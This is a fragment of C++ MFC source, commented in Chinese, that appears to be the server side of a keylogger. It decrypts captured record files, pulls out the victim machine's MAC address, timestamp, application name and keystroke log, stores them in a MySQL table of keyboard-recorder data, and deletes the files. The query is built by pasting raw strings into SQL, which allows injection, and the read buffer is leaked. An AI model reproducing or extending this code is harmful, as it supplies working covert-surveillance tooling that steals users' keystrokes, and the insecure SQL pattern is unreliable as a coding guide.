CString fileName("");
CString strMac("");
CString strTime("");
CString strAppName("");
CString strRecordInfo("");
if(file.Open(tmpFileData.fileName,CFile::modeRead|CFile::typeBinary))
{
DisposeData dis;
fileName = tmpFileData.fileName;
int start = -1;
while((start = fileName.Find('\\')) != -1)
{
fileName = fileName.Right(fileName.GetLength()-start-1);
}
start = fileName.Find('.');
if(start != -1)
fileName = fileName.Left(start);
//解密文件名
dis.SetValue(fileName.GetBuffer(0));
fileName.ReleaseBuffer();
fileName = dis.DecryptFileName();
//取出文件名中的內容
dis.GetFileNameInfo(fileName,strMac,strTime);
char *buf=new char[file.GetLength()];
memset(buf,0,file.GetLength());
file.Read(buf,file.GetLength());
//解密文件內容
dis.SetValue(buf);
CString str;
str = dis.ProcessDecode();
file.Close();
dis.GetRecordInfo(str,strAppName,strRecordInfo);
CString strSql("");
strSql.Format("insert into keyboardrecorderinformations(mac,time,appName,recordInfo)\
values('%s','%s','%s','%s')",strMac,strTime,strAppName,strRecordInfo);
//上傳MYSQL
tmpthis->dealData.ControlDataInsertOrRead(strSql);
remove(tmpFileData.fileName);
}
else
{
MessageBox(0,tmpFileData.fileName,"tmp",0);
}
}
else
{
remove(tmpFileData.fileName);
}
}
else
{
ResetEvent(tmpthis->hStorageEvent);
}
}
return 0;
}